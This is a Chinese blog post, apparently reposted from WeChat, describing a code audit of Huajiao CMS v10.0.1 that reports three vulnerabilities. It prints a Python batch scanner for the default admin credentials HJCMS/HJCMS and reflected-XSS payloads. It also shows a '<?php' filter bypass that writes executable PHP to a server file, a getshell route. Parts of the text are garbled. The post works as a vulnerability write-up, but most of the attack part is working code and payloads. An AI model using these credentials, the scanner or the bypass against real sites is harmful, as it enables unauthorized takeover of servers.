代码审计:对花椒CMS的测试
因为放了寒假,时间比较充裕,于是就开始学习网络安全。不学还好,结果一学就沉迷于此不可自拔。最近有个团队找到我,合作了一些内容。其中有一项就是渗透一个使用花椒CMS的网站,于是我欣然接受。经过两个小时的努力,摸到了花椒CMS的提权漏洞
因为好奇原因,就从网上下载了一套源码,自己搭建环境测试了一下。并通过代码审计进一步挖掘,整理了一些漏洞,供大家学习
源代码下载:http://huajiaocms.com/index.html
版本:v10.0.1 2021.02.27
NO.1
弱口令漏洞
漏洞位置http://IP/adminx
账号、密码:HJCMS
import time
import requests
import os
from requests.sessions import session
os.system('')
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 禁用安全请求警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse
class poc():
def title(self):
print('''
+-----------------------------------------------------------------+花椒CMS 弱口令检测
单个检测:python poc.py -u url
批量检测:python poc.py -f 1.txt
+-----------------------------------------------------------------+
''')
def poc(self, target_ur):
url = f'{target_ur}/adminx/'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36'}
try:
res = requests.get(url=url, headers=headers,verify=False,timeout=10)
return res
except Exception as e:
print("33[31m[x] 请求失败 33[0m", e)
def main(self, target_url, file):
self.title()
count=0
if target_url:
res=self.poc(target_url)
if res.status_code==200 and "当前使用的是默认账号" in res.text:
print(f'33[31m[+] {target_url} 存在弱口令:HJCMS/HJCMS 33[0m')
if file:
for url in file:
count += 1
target_url = url.replace('n', '') #取消换行符
#time.sleep(1)
res=self.poc(target_url)
try:
if res.status_code==200 and "当前使用的是默认账号" in res.text:
print(f'33[31m[{count}] 响应值为200,{target_url} 存在弱口令:HJCMS/HJCCMS33[0m')
else:
print(f'[{count}] 响应值为{res.status_code},{target_url} 不存在弱口令')
except Exception as e:
print("33[31m[x] 请求失败 33[0m", e)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-u','--url',type=str,default=False,help="目标地址,带上http://")
parser.add_argument("-f",'--file', type=argparse.FileType('r'),default=False,help="批量检测,带上http://")
args = parser.parse_args()
run = poc()
run.main(args.url, args.file)
if res.status_code==200 and "当前使用的是默认账号" in res.text:,
NO.2
反射XSS漏洞
漏洞位置:/Static/Home/VideoJS/index.php
漏洞payload:?Play=%27;alert(1);%27
洞
<script type="text/javascript">
var vPath = '<?php include('Helper.php'); echo safeRequest($_GET['url']);?>';
var logo = '';
var myVideo=initVideo({
id:'myVideo',
url:vPath,
ad:{
pre:{
url:'',
link:'',
},
},
logo:{
url:'logo.png',
width:'100px'
},
});
</script>
var vPath = 'include('Helper.php'); echo safeRequest($_GET['url']); ';
payload:<script>alert("hack")</script>
代码成了
var vPath = '<script>alert("hack")</script>';
尖括号被过滤了
include('Helper.php');
,在Helper.php中过滤了参数
//过滤提交参数
function safeRequest($data){
$data = stripslashes($data);//这里过滤斜杠
$data = htmlspecialchars($data);//这里将标签转换为实体
return $data;
}
$data = htmlspecialchars($data);//这里将标签转换为实体
NO.3
文件上传漏洞
位置/Php/Admin/Home/Ad/AdJs.php,通过代码审计,发现提交的代码被储存在一个PHP文件里。
$postAdJs = $_POST['AdJs'];
if (isset($_POST['submit']) && isset($postAdJs)) {
$postAdJs = str_replace('<?php','',$postAdJs);
$file = fopen("../HJSQL/Admin/Ad/AdminAdJs.php","w");
fwrite($file,$postAdJs);
fclose($file);
$file = fopen("../HJSQL/Admin/Ad/AdminAdJs.php","w");,
打开/HJSQL/Admin/Ad/AdminAdJs.php,写入数据
没有其他代码,于是我尝试写入PHP代码
先来最简单的
phpinfo();
发现只剩下了一部分,<?php被过滤掉了,返回去看看,发现忽略了一行代码
$postAdJs = str_replace('<?php','',$postAdJs)
对传入的数据进行了过滤
把<?php过滤掉,我就把代码改成<?p<?phphp phpinfo();?>
这样即使被过滤了,剩下的<?p与hp拼成新的<?php,点击提交查看文件
访问这个文件,发现成功执行
总结
使用花椒CMS的网站存在多处漏洞,甚至后台提权。但是我只在黑盒测试中发现了存储xss漏洞,其他漏洞都是审计出来的。还有很多getshell的位置,但是与上文类似,我就不提了
所以代码审计是真的香啊
原文始发于微信公众号(天禧信安):花椒CMS渗透测试后的漏洞总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论